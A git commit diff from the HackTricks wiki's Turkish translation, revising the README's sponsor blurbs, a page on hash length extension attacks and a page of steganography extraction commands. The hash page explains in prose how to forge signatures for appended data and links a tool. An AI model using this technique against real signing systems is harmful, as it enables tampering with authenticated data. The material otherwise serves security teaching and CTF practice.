Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack.

This commit is contained in:
Translator 2024-09-04 13:35:27 +00:00
parent 9b0091c18f
commit 669299ec1b
86 changed files with 1660 additions and 3197 deletions

View file

@ -2,10 +2,10 @@
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks logoları ve hareketli tasarım_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ tarafından yapılmıştır._ _Hacktricks logoları ve hareket tasarımı_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ tarafından yapılmıştır._
{% hint style="success" %} {% hint style="success" %}
**CTF'lerden, gerçek yaşam uygulamalarından, araştırmaları okumaktan ve haberlerden öğrendiğim her hacking hilesini/tekniklerini/bir şeyleri bulacağınız wiki'ye hoş geldiniz.** **CTF'lerden, gerçek yaşam uygulamalarından, araştırmaları okumaktan ve haberlerden öğrendiğim her hacking trick/teknik/şey bulacağınız wikiye hoş geldiniz.**
{% endhint %} {% endhint %}
Başlamak için, bir veya daha fazla **makineyi pentest ederken** **takip etmeniz gereken tipik akışı** bulacağınız bu sayfayı izleyin: Başlamak için, bir veya daha fazla **makineyi pentest ederken** **takip etmeniz gereken tipik akışı** bulacağınız bu sayfayı izleyin:
@ -20,7 +20,7 @@ Başlamak için, bir veya daha fazla **makineyi pentest ederken** **takip etmeni
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com), sloganı **HACK THE UNHACKABLE** olan harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve **pentesting, Kırmızı takımlar ve eğitim** gibi birkaç değerli siber güvenlik hizmeti sunmak için kendi hacking araçlarını geliştirir. [**STM Cyber**](https://www.stmcyber.com), sloganı **HACK THE UNHACKABLE** olan harika bir siber güvenlik şirketidir. Kendi araştırmalarını yapar ve **birçok değerli siber güvenlik hizmeti** sunmak için kendi hacking araçlarını geliştirir; bunlar arasında pentesting, Kırmızı takımlar ve eğitim bulunmaktadır.
**Bloglarını** [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresinde kontrol edebilirsiniz. **Bloglarını** [**https://blog.stmcyber.com**](https://blog.stmcyber.com) adresinde kontrol edebilirsiniz.
@ -32,7 +32,7 @@ Başlamak için, bir veya daha fazla **makineyi pentest ederken** **takip etmeni
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com), **İspanya'daki** en önemli siber güvenlik etkinliği ve **Avrupa'daki** en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır. [**RootedCON**](https://www.rootedcon.com), **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
@ -44,7 +44,7 @@ Başlamak için, bir veya daha fazla **makineyi pentest ederken** **takip etmeni
**Intigriti**, **Avrupa'nın #1** etik hacking ve **bug bounty platformudur.** **Intigriti**, **Avrupa'nın #1** etik hacking ve **bug bounty platformudur.**
**Bug bounty ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından, hackerlar için oluşturulmuş bir premium **bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın! **Bug bounty ipucu**: **Intigriti**'ye **kaydolun**, hackerlar tarafından, hackerlar için oluşturulmuş bir premium **bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
@ -71,7 +71,7 @@ Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**Hacke
* **Hacking İçgörüleri:** Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun * **Hacking İçgörüleri:** Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
* **Gerçek Zamanlı Hack Haberleri:** Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın * **Gerçek Zamanlı Hack Haberleri:** Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
* **Son Duyurular:** Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun * **Son Duyurular:** Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi sahibi olun
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla iş birliği yapmaya başlayın! **Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla iş birliği yapmaya başlayın!
@ -81,60 +81,26 @@ Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**Hacke
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; keşiften raporlamaya kadar. Pentester'ları değiştirmiyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz. **Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
*** ***
### [SerpApi](https://serpapi.com/)
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
SerpApi, **arama motoru sonuçlarına** erişim sağlamak için hızlı ve kolay gerçek zamanlı API'ler sunar. Arama motorlarını tarar, proxy'leri yönetir, captcha'ları çözer ve sizin için tüm zengin yapılandırılmış verileri ayrıştırır.
SerpApi'nın planlarından birine abone olmak, Google, Bing, Baidu, Yahoo, Yandex ve daha fazlası dahil olmak üzere farklı arama motorlarını taramak için 50'den fazla farklı API'ye erişim içerir.\
Diğer sağlayıcılardan farklı olarak, **SerpApi sadece organik sonuçları taramaz**. SerpApi yanıtları, arama sonuçlarında bulunan tüm reklamları, satır içi resimleri ve videoları, bilgi grafikleri ve diğer öğeleri ve özellikleri sürekli olarak içerir.
Mevcut SerpApi müşterileri arasında **Apple, Shopify ve GrubHub** bulunmaktadır.\
Daha fazla bilgi için [**bloglarına**](https://serpapi.com/blog/) göz atın veya [**oyun alanlarında**](https://serpapi.com/playground) bir örnek deneyin.\
**Buradan** [**ücretsiz bir hesap oluşturabilirsiniz**](https://serpapi.com/users/sign\_up)**.**
***
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### [WebSec](https://websec.nl/) ### [WebSec](https://websec.nl/)
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **dünyanın dört bir yanındaki** işletmeleri en son siber güvenlik tehditlerine karşı korumaya yardımcı olmak için **ofansif güvenlik hizmetleri** sunmaktadır. [**WebSec**](https://websec.nl), **Amsterdam** merkezli profesyonel bir siber güvenlik şirketidir ve **dünyanın dört bir yanındaki** işletmeleri en son siber güvenlik tehditlerine karşı **korumaya** yardımcı olmaktadır; bunu **ofansif güvenlik hizmetleri** ile **modern** bir yaklaşımla sağlamaktadır.
WebSec, **her şeyi yapan** bir **hepsi bir arada güvenlik şirketidir**; Pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, İstismar Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve daha fazlasını yapmaktadır. WebSec, **her şeyi yapan** bir **hepsi bir arada güvenlik şirketidir**; Pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, İstismar Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve daha fazlasını yapmaktadır.
WebSec'in bir diğer ilginç yanı, sektördeki ortalamadan farklı olarak WebSec'in **yeteneklerine çok güvenmesidir**, o kadar ki **en iyi kalite sonuçları garanti eder**, web sitelerinde "**Eğer hackleyemezsek, ödeme yapmazsınız!**" ifadesi yer almaktadır. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın! WebSec'in bir diğer ilginç yanı, sektördeki ortalamaların aksine WebSec'in **yeteneklerine çok güvenmesidir**; o kadar ki **en iyi kalite sonuçları garanti eder**, web sitelerinde "**Eğer hackleyemiyorsak, ödemiyorsunuz!**" ifadesi yer almaktadır. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
Yukarıdakilere ek olarak WebSec, **HackTricks'in kararlı bir destekçisidir.** Yukarıdakilere ek olarak WebSec, **HackTricks'in kararlı bir destekçisidir.**
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} {% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src=".gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edilip edilmediğini kontrol etmek için **ücretsiz** işlevsellikler sunan bir **dark-web** destekli arama motorudur.
WhiteIntel'in birincil hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
## Lisans & Feragatname ## Lisans & Feragatname
@ -159,7 +125,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking hilelerini paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.** * **Hacking tricklerini paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,90 +1,67 @@
# Hash Length Extension Attack # Hash Length Extension Attack
{% hint style="success" %} {% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>Support HackTricks</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> ## Summary of the attack
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan bir **dark-web** destekli arama motorudur. Bir sunucunun bazı bilinen açık metin verilerine bir **gizli** ekleyerek **imzaladığı** bazı **verileri** hayal edin ve ardından bu verileri hash'lediğini düşünün. Eğer şunları biliyorsanız:
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir. * **Gizlinin uzunluğu** (bu, belirli bir uzunluk aralığından da brute force ile elde edilebilir)
* **Açık metin verisi**
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## Saldırının Özeti
Bir sunucunun bazı **verileri** **gizli** bir bilgiyi bilinen düz metin verisine **ekleyerek** **imzaladığını** ve ardından bu veriyi hash'lediğini hayal edin. Eğer şunları biliyorsanız:
* **Gizli bilginin uzunluğu** (bu, belirli bir uzunluk aralığından da brute force ile elde edilebilir)
* **Düz metin verisi**
* **Algoritma (ve bu saldırıya karşı savunmasız)** * **Algoritma (ve bu saldırıya karşı savunmasız)**
* **Padding biliniyor** * **Padding biliniyor**
* Genellikle varsayılan bir padding kullanılır, bu nedenle diğer 3 gereklilik karşılandığında bu da geçerlidir * Genellikle varsayılan bir padding kullanılır, bu nedenle diğer 3 gereklilik karşılandığında bu da geçerlidir
* Padding, gizli bilgi + veri uzunluğuna bağlı olarak değişir, bu yüzden gizli bilginin uzunluğu gereklidir * Padding, gizli+veri uzunluğuna bağlı olarak değişir, bu yüzden gizlinin uzunluğu gereklidir
O zaman, bir **saldırganın** **veri ekleyip** **önceki veri + eklenen veri** için geçerli bir **imza** **üretmesi** mümkündür. O zaman, bir **saldırganın** **veri eklemesi** ve **önceki veri + eklenen veri** için geçerli bir **imza** **üretmesi** mümkündür.
### Nasıl? ### How?
Temelde, savunmasız algoritmalar hash'leri önce bir **veri bloğunu hash'leyerek** oluşturur ve ardından, **önceden** oluşturulmuş **hash** (durum) üzerinden **bir sonraki veri bloğunu ekleyip** **hash'ler**. Temelde, savunmasız algoritmalar hash'leri önce bir **veri bloğunu hash'leyerek** oluşturur ve ardından, **önceden** oluşturulmuş **hash** (durum) üzerinden **bir sonraki veri bloğunu ekleyip** **hash'ler**.
O zaman, gizli bilgi "secret" ve veri "data" ise, "secretdata"nın MD5'i 6036708eba0d11f6ef52ad44e8b74d5b'dir.\ O zaman, gizli "secret" ve veri "data" ise, "secretdata"nın MD5'i 6036708eba0d11f6ef52ad44e8b74d5b'dir.\
Eğer bir saldırgan "append" dizesini eklemek isterse, şunları yapabilir: Eğer bir saldırgan "append" dizesini eklemek isterse, şunları yapabilir:
* 64 "A" karakterinin MD5'ini oluştur * 64 "A"nın MD5'ini oluştur
* Önceden başlatılmış hash'in durumunu 6036708eba0d11f6ef52ad44e8b74d5b olarak değiştir * Önceden başlatılmış hash'in durumunu 6036708eba0d11f6ef52ad44e8b74d5b olarak değiştir
* "append" dizesini ekle * "append" dizesini ekle
* Hash'i tamamla ve sonuçta elde edilen hash, **"secret" + "data" + "padding" + "append"** için geçerli olacaktır. * Hash'i tamamla ve sonuçta elde edilen hash, **"secret" + "data" + "padding" + "append"** için geçerli olacaktır
### **Araç** ### **Tool**
{% embed url="https://github.com/iagox86/hash_extender" %} {% embed url="https://github.com/iagox86/hash_extender" %}
### Referanslar ### References
Bu saldırıyı [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) adresinde iyi bir şekilde bulabilirsiniz. Bu saldırıyı iyi bir şekilde açıklanmış olarak [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) adresinde bulabilirsiniz.
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan bir **dark-web** destekli arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>Support HackTricks</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,63 +1,55 @@
# Stego Numaraları # Stego Tricks
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking numaralarını paylaşmak için PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Güvenlik Grubu** ## **Dosyalardan Veri Çıkartma**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## **Dosyalardan Veri Çıkarma**
### **Binwalk** ### **Binwalk**
Gömülü gizli dosyaları ve verileri aramak için bir araç. `apt` aracılığıyla yüklenir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'da bulunabilir. Gömülü gizli dosyaları ve verileri aramak için kullanılan bir araçtır. `apt` ile kurulur ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'ta mevcuttur.
```bash ```bash
binwalk file # Displays the embedded data binwalk file # Displays the embedded data
binwalk -e file # Extracts the data binwalk -e file # Extracts the data
binwalk --dd ".*" file # Extracts all data binwalk --dd ".*" file # Extracts all data
``` ```
### **Önemli** ### **Foremost**
Dosyaları başlık ve altbilgilerine göre kurtarır, png görüntüleri için kullanışlıdır. Kaynağı [GitHub](https://github.com/korczis/foremost) üzerinden `apt` ile yüklenir. Başlıkları ve alt başlıkları temel alarak dosyaları kurtarır, png görüntüleri için faydalıdır. `apt` ile kurulur ve kaynağı [GitHub](https://github.com/korczis/foremost) üzerindedir.
```bash ```bash
foremost -i file # Extracts data foremost -i file # Extracts data
``` ```
### **Exiftool** ### **Exiftool**
Dosya meta verilerini görüntülemeye yardımcı olur, [burada](https://www.sno.phy.queensu.ca/~phil/exiftool/) mevcuttur. Dosya meta verilerini görüntülemeye yardımcı olur, [burada](https://www.sno.phy.queensu.ca/\~phil/exiftool/) mevcuttur.
```bash ```bash
exiftool file # Shows the metadata exiftool file # Shows the metadata
``` ```
### **Exiv2** ### **Exiv2**
Exiftool'a benzer şekilde, metaveri görüntüleme için kullanılır. `apt` üzerinden yüklenebilir, kaynak kodu [GitHub](https://github.com/Exiv2/exiv2) üzerinde bulunabilir ve resmi websitesi [burada](http://www.exiv2.org/) yer almaktadır. Exiftool'e benzer, metadata görüntüleme için. `apt` ile kurulabilir, kaynağı [GitHub](https://github.com/Exiv2/exiv2)'da bulunmaktadır ve bir [resmi web sitesi](http://www.exiv2.org/) vardır.
```bash ```bash
exiv2 file # Shows the metadata exiv2 file # Shows the metadata
``` ```
### **Dosya** ### **Dosya**
Uğraştığınız dosya türünü belirleyin. İşlemekte olduğunuz dosya türünü belirleyin.
### **Dizgeler** ### **Dizeler**
Dosyalardan okunabilir dizgeleri çıkarmak için çeşitli kodlama ayarlarını kullanarak çıktıyı filtrelemek. Çıktıyı filtrelemek için çeşitli kodlama ayarları kullanarak dosyalardan okunabilir dizeleri çıkarır.
```bash ```bash
strings -n 6 file # Extracts strings with a minimum length of 6 strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings strings -n 6 file | head -n 20 # First 20 strings
@ -71,11 +63,11 @@ strings -e B -n 6 file # 32bit strings (big-endian)
``` ```
### **Karşılaştırma (cmp)** ### **Karşılaştırma (cmp)**
Çalışması değiştirilmiş bir dosyayı çevrimiçi bulunan orijinal sürümüyle karşılaştırmak için kullanışlıdır. Çevrimiçi bulunan orijinal versiyonla değiştirilmiş bir dosyayı karşılaştırmak için kullanışlıdır.
```bash ```bash
cmp original.jpg stego.jpg -b -l cmp original.jpg stego.jpg -b -l
``` ```
## **Metinde Gizli Verileri Çıkarma** ## **Gizli Verilerin Metinden Çıkarılması**
### **Boşluklardaki Gizli Veriler** ### **Boşluklardaki Gizli Veriler**
@ -83,98 +75,98 @@ Görünüşte boş alanlardaki görünmez karakterler bilgi saklayabilir. Bu ver
## **Görüntülerden Veri Çıkarma** ## **Görüntülerden Veri Çıkarma**
### **GrafikMagick ile Görüntü Detaylarını Tanımlama** ### **GraphicMagick ile Görüntü Ayrıntılarını Belirleme**
[GraphicMagick](https://imagemagick.org/script/download.php), görüntü dosya türlerini belirlemek ve olası bozulmaları tanımlamak için kullanılır. Bir görüntüyü incelemek için aşağıdaki komutu çalıştırın: [GraphicMagick](https://imagemagick.org/script/download.php), görüntü dosyası türlerini belirlemek ve olası bozulmaları tanımlamak için kullanılır. Bir görüntüyü incelemek için aşağıdaki komutu çalıştırın:
```bash ```bash
./magick identify -verbose stego.jpg ./magick identify -verbose stego.jpg
``` ```
Hasar görmüş bir resim üzerinde tamir denemek için, bir meta veri yorumu eklemek yardımcı olabilir: Hasar görmüş bir resmi onarmaya çalışmak için, bir meta veri yorumu eklemek yardımcı olabilir:
```bash ```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
``` ```
### **Veri Gizleme İçin Steghide** ### **Steghide ile Veri Gizleme**
Steghide, `JPEG, BMP, WAV ve AU` dosyaları içine veri gizlemeyi kolaylaştırır, şifreli veri gömmeyi ve çıkarmayı sağlar. Kurulumu `apt` kullanarak basittir ve [kaynak kodu GitHub'da mevcuttur](https://github.com/StefanoDeVuono/steghide). Steghide, verileri `JPEG, BMP, WAV ve AU` dosyaları içinde gizlemeyi kolaylaştırır, şifreli verileri gömme ve çıkarma yeteneğine sahiptir. Kurulum `apt` kullanarak basittir ve [kaynak kodu GitHub'da mevcuttur](https://github.com/StefanoDeVuono/steghide).
**Komutlar:** **Komutlar:**
* `steghide info dosya` dosyanın gizli veri içerip içermediğini ortaya çıkarır. * `steghide info file` bir dosyanın gizli veri içerip içermediğini gösterir.
* `steghide extract -sf dosya [--passphrase şifre]` gizli veriyi çıkarır, şifre isteğe bağlıdır. * `steghide extract -sf file [--passphrase password]` gizli veriyi çıkarır, şifre isteğe bağlıdır.
Web tabanlı çıkarma için [bu web sitesini](https://futureboy.us/stegano/decinput.html) ziyaret edin. Web tabanlı çıkarım için [bu web sitesini](https://futureboy.us/stegano/decinput.html) ziyaret edin.
**Stegcracker ile Bruteforce Saldırısı:** **Stegcracker ile Bruteforce Saldırısı:**
